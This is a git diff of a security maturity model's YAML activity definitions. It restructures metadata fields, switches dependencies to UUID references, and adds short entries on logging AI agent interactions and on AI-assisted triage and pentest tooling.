-341,8 +323,6 @@ Culture and Organization: iso27001-2022: - Security champions are missing in ISO 27001 - 6.3 - isImplemented: false - evidence: "" comments: "" Reward of good communication: uuid: 91b6f75b-9f4a-4d77-95a2-af7ad3222c7c @@ -369,8 +349,6 @@ Culture and Organization: but nothing to promote good behavior. iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Security code review: uuid: 7121b0c7-6ace-4d6b-95d0-94535dbccb57 @@ -407,8 +385,6 @@ Culture and Organization: - ISO 27001:2017 mapping is missing iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Security consulting on request: uuid: 0b28367b-75a0-4bae-a926-3725c1bf9bb0 @@ -443,8 +419,6 @@ Culture and Organization: - 5.2 - 5.6 - 5.8 - isImplemented: false - evidence: "" comments: "" Security-Lessoned-Learned: uuid: 58c46807-fee9-448b-b6dd-8050c464ab52 @@ -468,8 +442,6 @@ Culture and Organization: - 16.1.6 iso27001-2022: - 5.27 - isImplemented: false - evidence: "" comments: "" Simple mob hacking: uuid: 535f301a-e8e8-4eda-ad77-a08b035c92de @@ -508,6 +480,4 @@ Culture and Organization: - 7.2.2 iso27001-2022: - 6.3 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/CultureAndOrganization/Process.yaml b/src/assets/YAML/default/CultureAndOrganization/Process.yaml index b769977..b4cf4bc 100755 --- a/src/assets/YAML/default/CultureAndOrganization/Process.yaml +++ b/src/assets/YAML/default/CultureAndOrganization/Process.yaml @@ -28,8 +28,6 @@ Culture and Organization: - Peer review - four eyes principle is not explicitly required by ISO 27001 - 5.3 - 8.25 - isImplemented: false - evidence: "" comments: "" Definition of a change management process: uuid: b4193d32-3948-47e2-a326-3748c48019a1 @@ -53,8 +51,6 @@ Culture and Organization: iso27001-2022: - 8.32 - 8.15 - isImplemented: false - evidence: "" comments: "" Definition of simple BCDR practices for critical components: uuid: c72da779-86cc-45b1-a339-190ce5093171 diff --git a/src/assets/YAML/default/Implementation/ApplicationHardening.yaml b/src/assets/YAML/default/Implementation/ApplicationHardening.yaml index fde532a..62149dd 100755 --- a/src/assets/YAML/default/Implementation/ApplicationHardening.yaml +++ b/src/assets/YAML/default/Implementation/ApplicationHardening.yaml @@ -82,6 +82,7 @@ Implementation: implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-dom-xss-cheats - $ref: src/assets/YAML/default/implementations.yaml#/implementations/cwe-838 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/dompurify references: samm2: - D-SR-A-1 @@ -214,7 +215,6 @@ Implementation: iso27001-2022: - Hardening is not explicitly covered by ISO 27001 - too specific - 8.22 - isImplemented: false comments: "" dependsOn: - App. Hardening Level 1 @@ -247,7 +247,6 @@ Implementation: iso27001-2022: - Hardening is not explicitly covered by ISO 27001 - too specific - 8.22 - isImplemented: false comments: "" dependsOn: - App. Hardening Level 2 (75%) @@ -284,6 +283,14 @@ Implementation: - App. Hardening Level 2 Secure headers: uuid: 29318d60-18ce-4526-80ea-f5928e49f639 + description: | + Essential headers: + - Content-Security-Policy: Define trusted sources for content + - Strict-Transport-Security: Enforce HTTPS connections + - X-Frame-Options: Prevent clickjacking attacks + - X-Content-Type-Options: Prevent MIME-type sniffing + - X-XSS-Protection: Enable browser's XSS filtering + - Referrer-Policy: Control information in the Referrer header risk: | Missing or misconfigured security headers can lead to various security vulnerabilities, e.g.: - Cross-Site Scripting (XSS) due to missing Content Security Policy @@ -311,15 +318,6 @@ Implementation: level: 3 implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-secure-headers - meta: - implementationGuide: | - Essential headers: - - Content-Security-Policy: Define trusted sources for content - - Strict-Transport-Security: Enforce HTTPS connections - - X-Frame-Options: Prevent clickjacking attacks - - X-Content-Type-Options: Prevent MIME-type sniffing - - X-XSS-Protection: Enable browser's XSS filtering - - Referrer-Policy: Control information in the Referrer header references: samm2: - O-EM-A-2 diff --git a/src/assets/YAML/default/Implementation/DevelopmentAndSourceControl.yaml b/src/assets/YAML/default/Implementation/DevelopmentAndSourceControl.yaml index 9a49570..b06b3ea 100755 --- a/src/assets/YAML/default/Implementation/DevelopmentAndSourceControl.yaml +++ b/src/assets/YAML/default/Implementation/DevelopmentAndSourceControl.yaml @@ -25,8 +25,6 @@ Implementation: - ISO 27001:2017 mapping is missing iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Require a PR before merging: uuid: e7598ac4-b082-4e56-b7df-e2c6b426a5e2 diff --git a/src/assets/YAML/default/Implementation/InfrastructureHardening.yaml b/src/assets/YAML/default/Implementation/InfrastructureHardening.yaml index 6d789b5..e19ec35 100755 --- a/src/assets/YAML/default/Implementation/InfrastructureHardening.yaml +++ b/src/assets/YAML/default/Implementation/InfrastructureHardening.yaml @@ -33,8 +33,6 @@ Implementation: - 8.25 d3f: - Multi-factorAuthentication - isImplemented: false - evidence: "" comments: "" MFA: uuid: 598e9f13-1ac8-4a01-b85e-8fab93ee81de @@ -69,8 +67,6 @@ Implementation: - 8.25 d3f: - Multi-factorAuthentication - isImplemented: false - evidence: "" comments: "" Applications are running in virtualized environments: uuid: 3a94d55e-fd82-4996-9eb3-20d23ff2a873 @@ -123,8 +119,6 @@ Implementation: iso27001-2022: - 8.13 - 8.31 - isImplemented: false - evidence: "" comments: "" Filter outgoing traffic: uuid: 6df508ef-86fc-4c22-bd9f-646c3127ce7d @@ -151,8 +145,6 @@ Implementation: iso27001-2022: - Virtual environments are not explicitly covered by ISO 27001 - too specific - 8.22 - isImplemented: false - evidence: "" comments: "" Immutable infrastructure: uuid: 48e92bb1-fdba-40e8-b6c2-35de0d431833 @@ -177,8 +169,6 @@ Implementation: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 8.14 - isImplemented: false - evidence: "" comments: "" Infrastructure as Code: uuid: 8b994601-575e-4ea5-b228-accb18c8e514 @@ -212,8 +202,6 @@ Implementation: - Not explicitly covered by ISO 27001 - too specific - 5.37 - 8.32 - isImplemented: false - evidence: "" comments: "" Isolated networks for virtual environments: uuid: 4ce24abd-8ba6-494c-828d-4d193e28e4a1 @@ -244,8 +232,6 @@ Implementation: iso27001-2022: - Virtual environments are not explicitly covered by ISO 27001 - too specific - 8.22 - isImplemented: false - evidence: "" comments: "" Limitation of system events: uuid: e5386abf-9154-4752-a1a8-c3a8900f732d @@ -271,8 +257,6 @@ Implementation: - System hardening is not explicitly covered by ISO 27001 - too specific iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Production near environments are used by developers: uuid: e14de741-94b3-447c-8b07-eea947d82e61 @@ -304,8 +288,6 @@ Implementation: iso27001-2022: - 8.31 - 8.14 - isImplemented: false - evidence: "" comments: "" Role based authentication and authorization: uuid: 070bb14b-e04a-4f3d-896a-a08eba7a35f9 @@ -331,8 +313,6 @@ Implementation: - 9.4.1 iso27001-2022: - 8.3 - isImplemented: false - evidence: "" comments: "" Simple access control for systems: uuid: 82e499d1-f463-4a4b-be90-68812a874af6 @@ -358,8 +338,6 @@ Implementation: - 9.4.1 iso27001-2022: - 8.3 - isImplemented: false - evidence: "" comments: "" Baseline Hardening of the environment: uuid: 5992c38c-8597-4035-89db-d15820d81c3a @@ -391,8 +369,6 @@ Implementation: - 13.1.3 iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Hardening of the Environment: uuid: dcf9601b-b4f2-4e25-9143-e39af75f7c33 @@ -425,8 +401,6 @@ Implementation: iso27001-2022: - Hardening is not explicitly covered by ISO 27001 - too specific - 8.22 - isImplemented: false - evidence: "" comments: "" Usage of a chaos technology: uuid: f8e80f18-2503-4e3e-b3bc-7f67bb28defe @@ -454,8 +428,6 @@ Implementation: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 5.29 - isImplemented: false - evidence: "" comments: "" Usage of an security account: uuid: 746025a6-dbfb-4087-a000-e46acab64ee1 @@ -478,8 +450,6 @@ Implementation: - 10.1 iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Usage of edge encryption at transit: uuid: ad23be9c-5661-4f1f-81a3-5a5dc7061629 @@ -505,8 +475,6 @@ Implementation: - 10.1 iso27001-2022: - 8.24 - isImplemented: false - evidence: "" comments: "" Usage of encryption at rest: uuid: 0ff45fb8-7eef-46ed-9b3a-84c955cd7060 @@ -530,8 +498,6 @@ Implementation: - 10.1 iso27001-2022: - 8.24 - isImplemented: false - evidence: "" comments: "" Usage of internal encryption at transit: uuid: ecb0184c-6bc9-45da-bbbb-a983797ffc93 @@ -556,8 +522,6 @@ Implementation: - 10.1 iso27001-2022: - 8.24 - isImplemented: false - evidence: "" comments: "" Usage of security by default for components: uuid: 11b3848e-e931-4146-a35d-35409ada24ee @@ -586,8 +550,6 @@ Implementation: - not explicitly covered by ISO 27001 - too specific iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Usage of test and production environments: uuid: bfdacb52-1e3f-431d-ae72-d844a5e86415 @@ -615,8 +577,6 @@ Implementation: - Not explicitly covered by ISO 27001 - too specific - 8.31 - 8.14 - isImplemented: false - evidence: "" comments: "" Virtual environments are limited: uuid: 760f1056-b0ee-4f22-a35b-f65446f944ca @@ -648,8 +608,6 @@ Implementation: - 8.6 - 8.22 - 8.14 - isImplemented: false - evidence: "" comments: "" WAF baseline: uuid: f0e01814-3b88-4bd0-a3a9-f91db001d20b diff --git a/src/assets/YAML/default/InformationGathering/Logging.yaml b/src/assets/YAML/default/InformationGathering/Logging.yaml index a718b45..22c591c 100755 --- a/src/assets/YAML/default/InformationGathering/Logging.yaml +++ b/src/assets/YAML/default/InformationGathering/Logging.yaml @@ -18,7 +18,7 @@ Information Gathering: usefulness: 5 level: 2 dependsOn: - - Alerting + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting implementation: [] references: samm2: @@ -57,8 +57,6 @@ Information Gathering: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 8.15 - isImplemented: false - evidence: "" comments: "" Correlation of security events: uuid: ccf4561d-253f-4762-adcb-bc4622fd6fc5 @@ -75,8 +73,8 @@ Information Gathering: usefulness: 3 level: 5 dependsOn: - - Visualized logging - - Alerting + - 7c735089-6a83-419f-8b27-c1e676cedea1 # Visualized logging + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting implementation: [] references: samm2: @@ -87,8 +85,6 @@ Information Gathering: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 8.15 - isImplemented: false - evidence: "" comments: "" Logging of security events: uuid: ccfdd0a8-991e-4269-ad77-c0a54ca655cb @@ -129,8 +125,6 @@ Information Gathering: risk: |- * No track of security-relevant events makes it harder to analyze an incident. * Security incident analysis takes significantly less time with proper security events, such that an attack can be stopped before the attacker reaches his goal. - isImplemented: false - evidence: "" comments: "" PII logging concept: uuid: 613a73dc-4f60-49db-a6ce-4fb7bf8519f9 @@ -160,8 +154,6 @@ Information Gathering: - Not explicitly covered by ISO 27001 - too specific - 8.15 - 5.31 - isImplemented: false - evidence: "" comments: "" Visualized logging: uuid: 7c735089-6a83-419f-8b27-c1e676cedea1 @@ -180,8 +172,8 @@ Information Gathering: usefulness: 4 level: 3 dependsOn: - - Centralized system logging - - Centralized application logging + - 4eced38a-7904-4c45-adb0-50b663065540 # Centralized system logging + - fe875e17-ae4a-45f8-a359-244aa4fcbc04 # Centralized application logging implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/elk-stack references: @@ -193,8 +185,6 @@ Information Gathering: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 8.15 - isImplemented: false - evidence: "" comments: "" Analyze logs: uuid: b217c8bb-5d61-4b41-a675-1083993f83b1 @@ -215,3 +205,51 @@ Information Gathering: - ISO 27001:2017 mapping is missing iso27001-2022: - ISO 27001:2022 mapping is missing + Logging of AI interactions: + uuid: 053ca80e-c2e7-4ec6-8a6d-2879187df357 + description: |- + AI agents and assistants act with delegated authority: their prompts, + tool and command invocations and outputs are security-relevant events. + Centralized logging of AI interactions provides the audit trail needed + to investigate incidents, detect misuse (e.g. prompt-injection-driven + actions, data exfiltration) and observe drift in agent behavior. + risk: |- + Actions performed by AI agents are not recorded or cannot be + distinguished from human actions. Misuse, data leaks and rogue agent + behavior go undetected and cannot be investigated after an incident. + measure: |- + Log AI interactions centrally: prompts, tool/command invocations, used + model versions and resulting actions, attributed to dedicated agent + identities. Feed the logs into the existing security monitoring and + alert on anomalies (e.g. unusual repositories, mass file access, + activity at odd hours). + dependsOn: + - fe875e17-ae4a-45f8-a359-244aa4fcbc04 # Centralized application logging + assessment: | + - Show where AI interactions (prompts, responses, tool calls) are logged and which fields are captured. + - Show that the logs are integrated into centralized logging with appropriate retention and access restrictions. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - logging + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/gdm-ai-control-roadmap + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/agent-identity-access-model + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-cloud + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c12 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/langfuse + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/litellm + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.15 + comments: "" diff --git a/src/assets/YAML/default/InformationGathering/Monitoring.yaml b/src/assets/YAML/default/InformationGathering/Monitoring.yaml index 2d0b6f8..2e87641 100755 --- a/src/assets/YAML/default/InformationGathering/Monitoring.yaml +++ b/src/assets/YAML/default/InformationGathering/Monitoring.yaml @@ -25,8 +25,6 @@ Information Gathering: - 12.1.3 iso27001-2022: - 8.6 - isImplemented: false - evidence: "" comments: "" Advanced app. metrics: uuid: d03bc410-74a7-4e92-82cb-d01a020cb6bf @@ -51,8 +49,6 @@ Information Gathering: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" Audit of system events: uuid: 1cd5e4b8-be36-4726-adc7-d8f843f47ac8 @@ -75,11 +71,24 @@ Information Gathering: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" Alerting: uuid: 8a442d8e-0eb1-4793-a513-571aef982edd + description: | + # AI support + Two numbers decide whether an alert queue works: how long an anomaly + stays unnoticed before a person looks at it, and what share of the + incoming alerts gets investigated at all. AI can improve both (see + Anthropic's eBook _Zero Trust for AI Agents_): give a triage + assistant read-only access to the monitoring data and let it write a + structured first assessment for every alert, so analysts start with + the alerts that actually need human judgement. Introduce it + incrementally: choose a single rule that is known to generate mostly + false positives, let the model handle its alert stream for a trial + period while a human independently assesses the same alerts, compare + the two, and only then move on to the next rule. The assistant + prepares evidence, correlation and documentation; decisions about + containment and disclosure remain with humans. risk: Incidents are discovered after they happened. measure: | Thresholds for metrics are set. In case the thresholds are reached, alarms are send out. Which should get attention due to the critically. @@ -91,7 +100,8 @@ Information Gathering: level: 2 dependsOn: - Visualized metrics - implementation: [] + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/anthropic-zero-trust-agents references: samm2: - O-IM-A-2 @@ -104,8 +114,6 @@ Information Gathering: - 6.8 - 5.25 - 8.31 - isImplemented: false - evidence: "" comments: "" Coverage and control metrics: uuid: d0d681e7-d6de-4829-ac64-a9eb2546aa0d @@ -135,8 +143,6 @@ Information Gathering: - not explicitly covered by ISO 27001 - too specific iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Deactivation of unused metrics: uuid: 7f36b9ba-bc05-4fd6-9a2a-73344c249722 @@ -160,8 +166,6 @@ Information Gathering: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 8.6 - isImplemented: false - evidence: "" comments: "" Defense metrics: uuid: e808028c-351c-42f1-bcd9-fba738d1fc55 @@ -190,8 +194,6 @@ Information Gathering: iso27001-2022: - 8.15 - 8.20 - isImplemented: false - evidence: "" comments: "" Grouping of metrics: uuid: 42170a71-d4c8-47af-bd71-bf36875fd05b @@ -213,8 +215,6 @@ Information Gathering: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 8.6 - isImplemented: false - evidence: "" comments: "" Metrics are combined with tests: uuid: 71699daf-b2a4-466b-a0b2-89f7dbb18506 @@ -236,8 +236,6 @@ Information Gathering: - not explicitly covered by ISO 27001 iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Monitoring of costs: uuid: 10e23a8c-22ff-4487-a706-87ccc9d0798e @@ -264,8 +262,6 @@ Information Gathering: - 12.1.3 iso27001-2022: - 8.6 - isImplemented: false - evidence: "" comments: "" Screens with metric visualization: uuid: 8746647c-638c-473f-8e17-82c068e4c311 @@ -355,8 +351,6 @@ Information Gathering: - 12.1.3 iso27001-2022: - 8.6 - isImplemented: false - evidence: "" comments: "" Simple system metrics: uuid: 3d1f4c3b-f713-46d9-933a-54a014a26c03 @@ -383,8 +377,6 @@ Information Gathering: - 12.1.3 iso27001-2022: - 8.6 - isImplemented: false - evidence: "" comments: "" Targeted alerting: uuid: d6f06ae8-401a-4f44-85df-1079247fa030 @@ -413,8 +405,6 @@ Information Gathering: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 5.26 - isImplemented: false - evidence: "" comments: "" Visualized metrics: uuid: ded39bcf-4eaa-4c5f-9c94-09acde0a4734 @@ -437,6 +427,4 @@ Information Gathering: - 12.1.3 iso27001-2022: - 8.6 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/TestAndVerification/ApplicationTests.yaml b/src/assets/YAML/default/TestAndVerification/ApplicationTests.yaml index 4266f36..65fe976 100755 --- a/src/assets/YAML/default/TestAndVerification/ApplicationTests.yaml +++ b/src/assets/YAML/default/TestAndVerification/ApplicationTests.yaml @@ -26,8 +26,6 @@ Test and Verification: iso27001-2022: - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Security integration tests for important components: uuid: f57d55f2-dc05-4b34-9d1f-f8ce5bfb0715 @@ -52,8 +50,6 @@ Test and Verification: iso27001-2022: - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Security unit tests for important components: uuid: eb2c7f9d-d0bd-4253-a2ba-cff2ace4a075 @@ -82,8 +78,6 @@ Test and Verification: iso27001-2022: - 8.32 - 8.29 - isImplemented: false - evidence: "" Smoke Test: uuid: 73aaae0b-5d68-4953-9fa4-fd25bf665f2a risk: @@ -110,6 +104,4 @@ Test and Verification: iso27001-2022: - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/TestAndVerification/Consolidation.yaml b/src/assets/YAML/default/TestAndVerification/Consolidation.yaml index c012cca..506845b 100755 --- a/src/assets/YAML/default/TestAndVerification/Consolidation.yaml +++ b/src/assets/YAML/default/TestAndVerification/Consolidation.yaml @@ -4,6 +4,11 @@ Test and Verification: Consolidation: Fix based on accessibility: uuid: 0c10a7f7-f78f-49f2-943d-19fdef248fed + description: |- + Develop a scoring system for asset accessibility, considering factors like: + - Whether the asset is internet-facing (highly recommended) + - The number of network hops required to reach the asset (recommended) + - Authentication requirements for access (recommended) risk: Overwhelming volume of security findings from automated testing tools. This might lead to ignorance of findings. measure: |- @@ -14,12 +19,6 @@ Test and Verification: resources: 1 usefulness: 4 level: 3 - meta: - implementationGuide: |- - Develop a scoring system for asset accessibility, considering factors like: - - Whether the asset is internet-facing (highly recommended) - - The number of network hops required to reach the asset (recommended) - - Authentication requirements for access (recommended) dependsOn: - 44f2c8a9-4aaa-4c72-942d-63f78b89f385 # Treatment of defects with severity high or higher: #- 3260a15f-2df0-4173-8790-f11de2cb525a # Access applications accessibility TODO @@ -68,8 +67,6 @@ Test and Verification: - 5.12 - 5.13 - 5.10 - isImplemented: false - evidence: "" comments: "" Integration of vulnerability issues into the development process: uuid: ce970c9b-da94-41cf-bd78-8c15357b7e8e @@ -100,8 +97,6 @@ Test and Verification: - 5.25 - 5.26 - 5.27 - isImplemented: false - evidence: "" comments: "" Reproducible defect tickets: uuid: 27337442-e4b1-4e87-8dc9-ce86fbb79a39 @@ -132,8 +127,6 @@ Test and Verification: - 5.12 - 5.13 - 5.10 - isImplemented: false - evidence: "" comments: "" Simple false positive treatment: uuid: c1acc8af-312e-4503-a817-a26220c993a0 @@ -145,6 +138,8 @@ Test and Verification: False positive treatment ensures that findings from security tests are triaged and documented, allowing teams to distinguish between real vulnerabilities and false positives. This reduces unnecessary work and helps maintain focus on true risks. Some positive findings might be considered an _accepted risk_ by the organization. This must also be documented. + + AI can support triage as a complementary tool: a language model with access to the finding and the surrounding code can assess reachability and exploitability in context, propose a triage verdict with reasoning and draft the documentation of the decision. The human decision stays: AI verdicts are input to triage, not a substitute for it — a wrongly auto-closed true positive is exactly the risk this activity exists to prevent. risk: | If false positives are not managed, teams may ignore all findings, leading to real vulnerabilities being overlooked and increasing the risk of exploitation. Specially, if tests are automated an run daily. measure: | @@ -179,9 +174,7 @@ Test and Verification: iso27001-2022: - Not explicitly covered by ISO 27001 - too specific - 5.27 - isImplemented: false tags: ["false-positive", "defect-management", "scanning", "sca", "sats", "dast"] - evidence: "" comments: "" Artifact-based false positive treatment: uuid: 8f2b4d5a-3c1e-4b7a-9d8f-2e6c4a1b5d7f @@ -254,8 +247,6 @@ Test and Verification: - 5.12 - 5.13 - 5.10 - isImplemented: false - evidence: "" comments: "" Treatment of all defects: uuid: b2f77606-3e6c-41e9-b72d-7c0b1d3d581d @@ -310,7 +301,6 @@ Test and Verification: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/trivy - $ref: src/assets/YAML/default/implementations.yaml#/implementations/grype tags: ["vuln-action", "defect-management"] - evidence: "" Treatment of defects with medium severity: uuid: 9cac3341-fe83-4079-bef2-bfc4279eb594 risk: Vulnerabilities with severity middle are not visible. diff --git a/src/assets/YAML/default/TestAndVerification/DynamicDepthForApplications.yaml b/src/assets/YAML/default/TestAndVerification/DynamicDepthForApplications.yaml index c3cded1..4c67994 100755 --- a/src/assets/YAML/default/TestAndVerification/DynamicDepthForApplications.yaml +++ b/src/assets/YAML/default/TestAndVerification/DynamicDepthForApplications.yaml @@ -23,8 +23,6 @@ Test and Verification: - part of periodic review, PDCA iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Coverage of client side dynamic components: uuid: 9711f871-f79d-4573-8d4f-d2c98fd0d18e @@ -55,8 +53,6 @@ Test and Verification: - 8.29 implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ajax-spider - isImplemented: false - evidence: "" comments: "" Coverage of hidden endpoints: uuid: 6a9cb303-0f98-48a8-bdcd-56d41c0012b8 @@ -84,8 +80,6 @@ Test and Verification: - not explicitly covered by ISO 27001 - too specific iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Coverage of more input vectors: uuid: 5e0ff85b-ec89-4ef0-96b1-5695fa0025dc @@ -113,8 +107,6 @@ Test and Verification: - ISO 27001:2022 mapping is missing implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/schemathesis - isImplemented: false - evidence: "" comments: "" Coverage of sequential operations: uuid: 845f06ec-148c-4c67-9755-7041911dcca5 @@ -143,8 +135,6 @@ Test and Verification: iso27001-2022: - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Coverage of service to service communication: uuid: 22aab0ef-76ce-4b8c-979c-3699784330db @@ -169,11 +159,20 @@ Test and Verification: - 8.29 implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/citrusframework - isImplemented: false - evidence: "" comments: "" Simple Scan: uuid: 07796811-37f9-467c-9ff2-48f346e77ff3 + description: |- + A simple dynamic scan tests the running application from the outside + and gives fast feedback on basic weaknesses such as missing security + headers or known misconfigurations. In addition to classic dynamic + application security testing (DAST) scanners, AI can complement + dynamic testing: agentic penetration testing tools (e.g. XBOW, + PentestGPT) explore the running application, chain findings and + verify exploitability similar to a human tester. As with static + analysis, AI-based testing complements deterministic scanners rather + than replacing them — results are non-deterministic and coverage is + not guaranteed. risk: Deficient security tests are performed. Simple vulnerabilities are not detected and missing security configurations (e.g. headers) are not set. Fast @@ -193,6 +192,8 @@ Test and Verification: implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-zap - $ref: src/assets/YAML/default/implementations.yaml#/implementations/arachni + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/xbow + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/pentestgpt references: samm2: - V-ST-A-1 @@ -202,8 +203,6 @@ Test and Verification: iso27001-2022: - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Usage of different roles: uuid: 65a2d7d9-5441-46bf-a4e3-f76919857750 @@ -231,9 +230,7 @@ Test and Verification: - 8.29 implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/zest - isImplemented: false assessment: "For REST APIs, multiple OAuth2 scopes are used." - evidence: "" comments: "" Usage of multiple scanners: uuid: 5b5a1eb2-113f-41fb-a3d6-06af4fdc9cea @@ -262,6 +259,4 @@ Test and Verification: iso27001-2022: - 8.8 - 8.27 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/TestAndVerification/DynamicDepthForInfrastructure.yaml b/src/assets/YAML/default/TestAndVerification/DynamicDepthForInfrastructure.yaml index 20db40e..2cf3957 100755 --- a/src/assets/YAML/default/TestAndVerification/DynamicDepthForInfrastructure.yaml +++ b/src/assets/YAML/default/TestAndVerification/DynamicDepthForInfrastructure.yaml @@ -28,8 +28,6 @@ Test and Verification: - 8.6 - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Test for exposed services: uuid: a6c4cefb-a0b7-4787-8cc7-a0f96b4b00d8 @@ -63,8 +61,6 @@ Test and Verification: - 8.22 - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Test for unauthorized installation: uuid: dccf1949-b9a8-4ce8-b992-6a4a7f3a623a @@ -92,8 +88,6 @@ Test and Verification: iso27001-2022: - 8.19 - 8.8 - isImplemented: false - evidence: "" dependsOn: - Evaluation of the trust of used components Test for unused Resources: @@ -122,8 +116,6 @@ Test and Verification: - 8.22 - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Test network segmentation: uuid: 6d2c3ac6-8afc-4af6-a5e9-6188341aca01 @@ -185,8 +177,6 @@ Test and Verification: - 8.8 - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Weak password test: uuid: 61e10f9c-e126-4ffa-af12-fdbe0d0a831f @@ -211,6 +201,4 @@ Test and Verification: - 9.4.3 iso27001-2022: - 5.17 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/TestAndVerification/StaticDepthForApplications.yaml b/src/assets/YAML/default/TestAndVerification/StaticDepthForApplications.yaml index 21a7637..b58c5dc 100755 --- a/src/assets/YAML/default/TestAndVerification/StaticDepthForApplications.yaml +++ b/src/assets/YAML/default/TestAndVerification/StaticDepthForApplications.yaml @@ -31,6 +31,9 @@ Test and Verification: Test libyear: <<: *Exclusion-of-source-code-duplicates uuid: 87b54313-fafd-4860-930f-5ef132b3e4ad + description: | + `libyear` can be integrated into the build process and flag or even better break the build in case the defined threshold (e.g. 30 years) is reached. + An alternative approach is to determine `libyear` based on deployed artifacts (which requires more effort in implementation). risk: Vulnerabilities in running artifacts stay for long and might get exploited. measure: |- Test `libyear`, which provides a good insight how good patch management is. @@ -42,15 +45,14 @@ Test and Verification: resources: 1 implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/libyear - meta: - implementationGuide: | - `libyear` can be integrated into the build process and flag or even better break the build in case the defined threshold (e.g. 30 years) is reached. - An alternative approach is to determine `libyear` based on deployed artifacts (which requires more effort in implementation). tags: - patching Test for Time to Patch: <<: *Exclusion-of-source-code-duplicates uuid: 13af1227-3dd1-4d4f-a9e9-53deb793c18f + description: + Usage of a version control platform API (e.g. github API) can be used to fetch the information. + Consider that `Measure libyears` might be an alternative to this activity. risk: Automatic PRs for dependencies are overlooked resulting in known vulnerabilities in production artifacts. measure: |- Test of the Time to Patch (e.g. based on Mean Time to Close automatic PRs) @@ -66,15 +68,14 @@ Test and Verification: implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/dependabot - $ref: src/assets/YAML/default/implementations.yaml#/implementations/renovate - meta: - implementationGuide: - Usage of a version control platform API (e.g. github API) can be used to fetch the information. - Consider that `Measure libyears` might be an alternative to this activity. tags: - patching Test for Patch Deployment Time: <<: *Exclusion-of-source-code-duplicates uuid: 0cb2c39a-3cec-4353-b3ab-8d70daf4c9d2 + description: + Self implementation. + This activity is not repeated in the Sub-Dimension "Static depth for infrastructure", but it applies to infrastructure as well. risk: Automatic PRs for dependencies are overlooked resulting in known vulnerabilities in production artifacts. dependsOn: - Automated PRs for patches @@ -88,10 +89,6 @@ Test and Verification: time: 2 resources: 1 level: 3 - meta: - implementationGuide: - Self implementation. - This activity is not repeated in the Sub-Dimension "Static depth for infrastructure", but it applies to infrastructure as well. tags: - patching Dead code elimination: @@ -128,8 +125,6 @@ Test and Verification: iso27001-2022: - Hardening is not explicitly covered by ISO 27001 - too specific - 8.22 - isImplemented: false - evidence: "" comments: "" API design validation: uuid: 017d9e26-42b5-49a4-b945-9f59b308fb99 @@ -157,7 +152,6 @@ Test and Verification: - 8.25 # Secure development lifecycle - 8.27 # Secure system architecture and engineering principles - 8.28 # Secure coding - isImplemented: false dependsOn: - 2a44b708-734f-4463-b0cb-86dc46344b2f # Inventory of production components 